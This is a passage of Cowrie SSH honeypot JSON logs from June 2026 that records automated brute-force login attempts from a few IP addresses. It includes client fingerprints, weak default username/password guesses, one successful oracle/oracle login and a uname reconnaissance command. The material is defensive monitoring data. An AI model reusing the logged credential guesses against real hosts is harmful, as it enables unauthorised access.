d25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:12.396429Z","src_ip":"45.156.87.147","session":"2a794d2d5a12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:12.695127Z","src_ip":"45.156.87.147","session":"2a794d2d5a12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:13.779429Z","src_ip":"45.156.87.147","session":"2a794d2d5a12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":54256,"dst_ip":"10.17.0.5","dst_port":22,"session":"c510c2986a6d","protocol":"ssh","message":"New connection: 45.156.87.147:54256 (10.17.0.5:22) [session: c510c2986a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:18.314860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:18.319332Z","src_ip":"45.156.87.147","session":"c510c2986a6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:18.402007Z","src_ip":"45.156.87.147","session":"c510c2986a6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu123!","message":"login attempt [ubuntu/Ubuntu123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:18.648285Z","src_ip":"45.156.87.147","session":"c510c2986a6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:19.733866Z","src_ip":"45.156.87.147","session":"c510c2986a6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53926,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4916b4b01c3","protocol":"ssh","message":"New connection: 45.156.87.147:53926 (10.17.0.5:22) [session: e4916b4b01c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:24.354769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:24.358168Z","src_ip":"45.156.87.147","session":"e4916b4b01c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:24.437877Z","src_ip":"45.156.87.147","session":"e4916b4b01c3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:24.687032Z","src_ip":"45.156.87.147","session":"e4916b4b01c3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:24.881403Z","src_ip":"45.156.87.147","session":"e4916b4b01c3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:24.883356Z","src_ip":"45.156.87.147","session":"e4916b4b01c3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:24.967186Z","src_ip":"45.156.87.147","session":"e4916b4b01c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:24.970706Z","src_ip":"45.156.87.147","session":"e4916b4b01c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":49366,"dst_ip":"10.17.0.5","dst_port":22,"session":"73e44e163fc3","protocol":"ssh","message":"New connection: 45.156.87.147:49366 (10.17.0.5:22) [session: 73e44e163fc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:30.397227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:30.401083Z","src_ip":"45.156.87.147","session":"73e44e163fc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:30.481913Z","src_ip":"45.156.87.147","session":"73e44e163fc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:30.734057Z","src_ip":"45.156.87.147","session":"73e44e163fc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:31.821168Z","src_ip":"45.156.87.147","session":"73e44e163fc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.114","src_port":35600,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cfe4cf9c4f8","protocol":"ssh","message":"New connection: 103.189.235.114:35600 (159.203.135.109:22) [session: 4cfe4cf9c4f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:33.925730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:33.966158Z","src_ip":"103.189.235.114","session":"4cfe4cf9c4f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:34.219370Z","src_ip":"103.189.235.114","session":"4cfe4cf9c4f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opencart","password":"123456","message":"login attempt [opencart/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:35.209241Z","src_ip":"103.189.235.114","session":"4cfe4cf9c4f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":49368,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7232d0780f7","protocol":"ssh","message":"New connection: 45.156.87.147:49368 (10.17.0.5:22) [session: f7232d0780f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:36.289977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:36.294143Z","src_ip":"45.156.87.147","session":"f7232d0780f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:36.375304Z","src_ip":"45.156.87.147","session":"f7232d0780f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:36.460585Z","src_ip":"103.189.235.114","session":"4cfe4cf9c4f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:36.621677Z","src_ip":"45.156.87.147","session":"f7232d0780f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:37.785831Z","src_ip":"45.156.87.147","session":"f7232d0780f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":52244,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1cd3896f48b","protocol":"ssh","message":"New connection: 45.156.87.147:52244 (10.17.0.5:22) [session: b1cd3896f48b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:42.288132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:42.294067Z","src_ip":"45.156.87.147","session":"b1cd3896f48b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:42.423142Z","src_ip":"45.156.87.147","session":"b1cd3896f48b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"123456","message":"login attempt [root1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:42.740053Z","src_ip":"45.156.87.147","session":"b1cd3896f48b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:43.830482Z","src_ip":"45.156.87.147","session":"b1cd3896f48b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":52256,"dst_ip":"10.17.0.5","dst_port":22,"session":"33f6eb0c6759","protocol":"ssh","message":"New connection: 45.156.87.147:52256 (10.17.0.5:22) [session: 33f6eb0c6759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:48.261664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:48.270404Z","src_ip":"45.156.87.147","session":"33f6eb0c6759","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:48.350606Z","src_ip":"45.156.87.147","session":"33f6eb0c6759","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"installer","password":"12345","message":"login attempt [installer/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:48.671206Z","src_ip":"45.156.87.147","session":"33f6eb0c6759","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:49.756931Z","src_ip":"45.156.87.147","session":"33f6eb0c6759","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":36274,"dst_ip":"10.17.0.5","dst_port":22,"session":"83633e1e9774","protocol":"ssh","message":"New connection: 45.156.87.147:36274 (10.17.0.5:22) [session: 83633e1e9774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:54.337448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:54.341402Z","src_ip":"45.156.87.147","session":"83633e1e9774","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 